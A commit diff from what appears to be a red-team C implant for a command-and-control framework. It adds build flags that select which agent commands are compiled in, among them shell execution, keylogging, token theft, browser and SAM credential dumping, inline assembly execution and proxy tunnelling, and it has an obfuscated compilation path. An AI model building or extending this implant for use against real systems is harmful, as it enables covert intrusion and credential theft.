kitos/Angerona
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Added Dynamic Commands to be loaded at compilation

Browse Source
This commit is contained in:
Marmeus
2026-01-20 15:51:10 +00:00
parent 014bc87eaa
commit 380a498980
9 changed files with 166 additions and 12 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile
+7 -4
View File
@@ -38,6 +38,9 @@ else
DEBUG_OUTPUT_NUM = $(DEBUG_OUTPUT)
endif
# Command enable flags (passed from builder.py)
COMMAND_FLAGS ?=
# Debug flags based on level
DEBUG_FLAGS = -DDEBUG_SOCKS -g
ifeq ($(DEBUG_LEVEL_NUM),0)
@@ -69,17 +72,17 @@ debug_dll: $(BUILD_DIR)/cazalla-debug.dll
# Executable Target
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS)
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(COMMAND_FLAGS) $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(COMMAND_FLAGS) $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
# DLL Target
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(COMMAND_FLAGS) $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DEBUG_FLAGS)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(COMMAND_FLAGS) $(LFLAGS) $(DEBUG_FLAGS)
# Clean up
clean:
Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c
+91 -1
View File
@@ -5,10 +5,14 @@
#include "paquete.h"
/* Forward: handlers for the new commands */
#ifdef ENABLE_SOCKS_CMD
static void startSocksHandler(PAnalizador analizadorTarea);
static void stopSocksHandler(PAnalizador analizadorTarea);
#endif
#ifdef ENABLE_RPFWD_CMD
static void startRpfwdHandler(PAnalizador analizadorTarea);
static void stopRpfwdHandler(PAnalizador analizadorTarea);
#endif
BOOL handleGetTasking(PAnalizador obtenerTarea) {
_inf("========== handleGetTasking INICIO ==========");
@@ -100,41 +104,82 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
}
_inf("Tarea %u: Analizador creado, entrando en dispatch...", i+1);
#ifdef ENABLE_SHELL_CMD
if (tarea == SHELL_CMD){
_inf("Tarea %u: Ejecutando SHELL_CMD", i+1);
ejecutarConsola(analizadorTarea);
} else if (tarea == EXIT_CMD) {
#else
if (tarea == EXIT_CMD) {
#endif
cerrarCallback(analizadorTarea);
} else if (tarea == SLEEP_CMD){
sleep(analizadorTarea);
#ifdef ENABLE_PS_CMD
} else if (tarea == PROCESS_CMD){
listarProcesos(analizadorTarea);
}
#endif
#ifdef ENABLE_CD_CMD
} else if (tarea == CD_CMD) {
CambiarDirectorio(analizadorTarea);
}
#endif
#ifdef ENABLE_LS_CMD
} else if (tarea == LS_CMD) {
ListarDirectorio(analizadorTarea);
}
#endif
#ifdef ENABLE_PWD_CMD
} else if (tarea == PWD_CMD) {
ObtenerPath(analizadorTarea);
}
#endif
#ifdef ENABLE_CP_CMD
} else if (tarea == CP_CMD) {
CopiarFichero(analizadorTarea);
}
#endif
#ifdef ENABLE_MKDIR_CMD
} else if (tarea == MKDIR_CMD) {
CrearRuta(analizadorTarea);
}
#endif
#ifdef ENABLE_RM_CMD
} else if (tarea == RM_CMD) {
EliminarRuta(analizadorTarea);
}
#endif
#ifdef ENABLE_CAT_CMD
} else if (tarea == CAT_CMD) {
LeerFichero(analizadorTarea);
}
#endif
#ifdef ENABLE_DOWNLOAD_CMD
} else if (tarea == DOWNLOAD_CMD) {
DescargarFichero(analizadorTarea);
}
#endif
#ifdef ENABLE_UPLOAD_CMD
} else if (tarea == UPLOAD_CMD) {
SubirFichero(analizadorTarea);
}
#endif
#ifdef ENABLE_SCREENSHOT_CMD
} else if (tarea == SCREENSHOT_CMD) {
CapturarPantalla(analizadorTarea);
}
#endif
#ifdef ENABLE_SOCKS_CMD
} else if (tarea == START_SOCKS_CMD) {
_dbg("Received START_SOCKS_CMD");
startSocksHandler(analizadorTarea);
} else if (tarea == STOP_SOCKS_CMD) {
_dbg("Received STOP_SOCKS_CMD");
stopSocksHandler(analizadorTarea);
}
#endif
#ifdef ENABLE_RPFWD_CMD
} else if (tarea == START_RPFWD_CMD) {
_inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
_inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
@@ -143,61 +188,102 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
} else if (tarea == STOP_RPFWD_CMD) {
_dbg("Received STOP_RPFWD_CMD");
stopRpfwdHandler(analizadorTarea);
}
#endif
#ifdef ENABLE_KEYLOG_START_CMD
} else if (tarea == KEYLOG_START_CMD) {
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
StartKeylogger(analizadorTarea);
_inf("===== KEYLOG_START_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_KEYLOG_STOP_CMD
} else if (tarea == KEYLOG_STOP_CMD) {
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
StopKeylogger(analizadorTarea);
_inf("===== KEYLOG_STOP_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_LIST_TOKENS_CMD
} else if (tarea == LIST_TOKENS_CMD) {
_inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
ListarTokens(analizadorTarea);
_inf("===== LIST_TOKENS_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_STEAL_TOKEN_CMD
} else if (tarea == STEAL_TOKEN_CMD) {
_inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
RobarToken(analizadorTarea);
_inf("===== STEAL_TOKEN_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_MAKE_TOKEN_CMD
} else if (tarea == MAKE_TOKEN_CMD) {
_inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
CrearToken(analizadorTarea);
_inf("===== MAKE_TOKEN_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_REV2SELF_CMD
} else if (tarea == REV2SELF_CMD) {
_inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
RevertirToken(analizadorTarea);
_inf("===== REV2SELF_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_WHOAMI_CMD
} else if (tarea == WHOAMI_CMD) {
_inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
ObtenerUsuarioActual(analizadorTarea);
_inf("===== WHOAMI_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_KILL_CMD
} else if (tarea == KILL_CMD) {
_inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
MatarProceso(analizadorTarea);
_inf("===== KILL_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_BROWSER_INFO_CMD
} else if (tarea == BROWSER_INFO_CMD) {
_inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
IdentificarNavegadores(analizadorTarea);
_inf("===== BROWSER_INFO_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_BROWSER_DUMP_CMD
} else if (tarea == BROWSER_DUMP_CMD) {
_inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
DumparNavegador(analizadorTarea);
_inf("===== BROWSER_DUMP_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_SAMDUMP_CMD
} else if (tarea == SAMDUMP_CMD) {
_inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
SamDumpHandler(analizadorTarea);
_inf("===== SAMDUMP_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_INLINE_EXECUTE_CMD
} else if (tarea == INLINE_EXECUTE_CMD) {
_inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
InlineExecuteHandler(analizadorTarea);
_inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD
} else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
_inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
// This command is typically handled via subtasks in Python
// But if called directly, we'll handle it here
_wrn("inline_execute_assembly should be called via subtasks");
if (analizadorTarea) liberarAnalizador(analizadorTarea);
} else {
}
#endif
else {
_wrn("Tarea desconocida: 0x%02x", tarea);
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
// liberar analizador si no será usado por otro handler
@@ -312,6 +398,7 @@ BOOL rutina() {
}
#ifdef ENABLE_SOCKS_CMD
/* ============================
START_SOCKS_CMD handler
Expected params (in this order inside the task buffer):
@@ -403,7 +490,9 @@ static void stopSocksHandler(PAnalizador analizadorTarea) {
if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
#endif
#ifdef ENABLE_RPFWD_CMD
/* ============================
START_RPFWD_CMD handler
Expected params (in this order inside the task buffer):
@@ -518,3 +607,4 @@ static void stopRpfwdHandler(PAnalizador analizadorTarea) {
if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
#endif
Payload_Type/cazalla/cazalla/agent_functions/builder.py
+63 -1
View File
@@ -22,7 +22,7 @@ class CazallaAgent(PayloadType):
wrapper = False
wrapped_payloads = []
note = """C implant Developed by the Kaseya OFSTeam"""
supports_dynamic_loading = False
supports_dynamic_loading = True
c2_profiles = ["http"]
mythic_encrypts = True
translation_container = "cazalla_translator"
@@ -198,6 +198,60 @@ class CazallaAgent(PayloadType):
StepSuccess=True
))
# Get selected commands and create compiler defines
selected_commands = self.commands.get_commands()
debug_messages.append(f"\n=== COMMAND SELECTION ===")
debug_messages.append(f"Total commands selected: {len(selected_commands)}")
debug_messages.append(f"Selected commands: {', '.join(sorted(selected_commands))}")
# Map command names to preprocessor define names
# Format: command_name -> ENABLE_XXX_CMD
command_to_define = {
"shell": "ENABLE_SHELL_CMD",
"cd": "ENABLE_CD_CMD",
"ls": "ENABLE_LS_CMD",
"pwd": "ENABLE_PWD_CMD",
"cp": "ENABLE_CP_CMD",
"mkdir": "ENABLE_MKDIR_CMD",
"rm": "ENABLE_RM_CMD",
"cat": "ENABLE_CAT_CMD",
"download": "ENABLE_DOWNLOAD_CMD",
"upload": "ENABLE_UPLOAD_CMD",
"screenshot": "ENABLE_SCREENSHOT_CMD",
"ps": "ENABLE_PS_CMD",
"kill": "ENABLE_KILL_CMD",
"socks": "ENABLE_SOCKS_CMD",
"rpfwd": "ENABLE_RPFWD_CMD",
"keylog_start": "ENABLE_KEYLOG_START_CMD",
"keylog_stop": "ENABLE_KEYLOG_STOP_CMD",
"list_tokens": "ENABLE_LIST_TOKENS_CMD",
"steal_token": "ENABLE_STEAL_TOKEN_CMD",
"make_token": "ENABLE_MAKE_TOKEN_CMD",
"rev2self": "ENABLE_REV2SELF_CMD",
"whoami": "ENABLE_WHOAMI_CMD",
"browser_info": "ENABLE_BROWSER_INFO_CMD",
"browser_dump": "ENABLE_BROWSER_DUMP_CMD",
"samdump": "ENABLE_SAMDUMP_CMD",
"inline_execute": "ENABLE_INLINE_EXECUTE_CMD",
"inline_execute_assembly": "ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD",
}
# Generate compiler defines for selected commands
command_flags = []
for cmd_name in selected_commands:
if cmd_name in command_to_define:
define_name = command_to_define[cmd_name]
command_flags.append(f"-D{define_name}")
debug_messages.append(f" -> {cmd_name}: {define_name}")
# Core commands (exit, sleep) are always included, no flags needed
# Commands with builtin=True (sleep) are always included by Mythic
command_flags_str = " ".join(command_flags)
debug_messages.append(f"\nGenerated {len(command_flags)} command enable flags")
if command_flags_str:
debug_messages.append(f"Command flags: {command_flags_str}")
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
copy_tree(str(self.agent_path), agent_build_path.name)
@@ -275,6 +329,10 @@ class CazallaAgent(PayloadType):
# The Makefile will convert string values to numbers
make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}"
# Add command flags to make command
if command_flags_str:
make_flags = f"{make_flags} COMMAND_FLAGS='{command_flags_str}'" if make_flags else f"COMMAND_FLAGS='{command_flags_str}'"
command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target} {make_flags}"
filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}"
@@ -336,11 +394,15 @@ class CazallaAgent(PayloadType):
elif ollvm_compilation == 2:
obfuscation_parameters = level_2_obfuscation_parameters
# Add command flags to OLLVM compilation
command_flags_ollvm = command_flags_str if command_flags_str else ""
# Compilation Command
compilation_command = f"clang -target x86_64-w64-mingw32 \
-fuse-ld=lld \
-DDEBUG_LEVEL={debug_level_docker} \
-DDEBUG_OUTPUT={debug_output_docker} \
{command_flags_ollvm} \
{obfuscation_parameters} \
-L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \
--sysroot=/usr/x86_64-w64-mingw32 \
Payload_Type/cazalla/cazalla/agent_functions/exit.py
+2 -1
View File
@@ -26,7 +26,8 @@ class ExitCommand(CommandBase):
argument_class = ExitArguments
attackmapping = []
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
supported_os=[SupportedOS.Windows],
builtin=True
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py
+1 -1
View File
@@ -253,7 +253,7 @@ class InlineExecuteCommand(CommandBase):
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
suggested_command=False
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
Payload_Type/cazalla/cazalla/agent_functions/ls.py
+1 -1
View File
@@ -111,7 +111,7 @@ class LsCommand(CommandBase):
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
Payload_Type/cazalla/cazalla/agent_functions/ps.py
+1 -1
View File
@@ -29,7 +29,7 @@ class PsCommand(CommandBase):
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
suggested_command=False
)
attackmapping = []
Payload_Type/cazalla/cazalla/agent_functions/rpfwd.py
-1
View File
@@ -88,7 +88,6 @@ class RpfwdCommand(CommandBase):
attackmapping = []
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows],
builtin=True,
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
Payload_Type/cazalla/cazalla/agent_functions/socks.py
-1
View File
@@ -66,7 +66,6 @@ class SocksCommand(CommandBase):
attackmapping = []
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows],
builtin=True,
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: